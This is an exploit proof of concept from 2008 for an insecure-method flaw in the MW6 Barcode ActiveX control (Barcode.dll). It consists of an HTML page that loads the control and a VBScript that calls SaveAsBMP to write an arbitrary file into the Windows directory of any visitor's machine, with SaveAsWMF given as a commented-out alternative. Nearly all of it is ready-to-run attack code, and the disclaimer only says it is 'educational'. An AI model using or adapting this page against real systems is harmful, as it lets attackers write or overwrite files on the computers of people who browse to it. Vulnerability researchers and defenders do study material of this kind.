MW6 Barcode ActiveX (Barcode.dll) Insecure Method Exploit
2008-10-29 18:01:07<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : 1D Barcode ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc.
Download Link : http://www.mw6tech.com/barcode/try/MW6Barcode.zip
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
This control contains two methods SaveAsBMP(); And SaveAsWMF();
Sub SaveAsWMF (
ByVal FileName As String
)
AND
Sub SaveAsWMF (
ByVal FileName As String
)
you can see this problem to all product this company
-->
<html>
<object classid='clsid:14D09688-CFA7-11D5-995A-005004CE563B' id='target' >
<param name="BackColor" value="16777215">
<param name="BarHeight" value="1,5">
<param name="BarColor" value="0">
<param name="BorderStyle" value="0">
<param name="CheckDigit" value="0">
<param name="CheckDigitToText" value="0">
<param name="CodaBarStartChar" value="65">
<param name="CodaBarStopChar" value="66">
<param name="Data" value="1234">
<param name="NarrowBarWidth" value="0,07">
<param name="Orientation" value="0">
<param name="ShowText" value="1">
<param name="Supplement" value="">
<param name="SupplementGap" value="0,5">
<param name="SupplementType" value="0">
<param name="SymbologyType" value="2">
<param name="UPCESystem" value="0">
<param name="Wide2NarrowRatio" value="2">
<param name="FontName" value="Arial">
<param name="FontItalic" value="0">
<param name="FontStrikeOut" value="0">
<param name="FontUnderline" value="0">
<param name="FontWeight" value="400">
<param name="FontHeight" value="24">
</object>
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\Barcode.dll"
prototype = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid = "BARCODELib.MW6Barcode"
argCount = 1
arg1="c:\windows\system_.ini"
target.SaveAsBMP arg1
'target.SaveAsWMF arg1
</script>
#
Fixes
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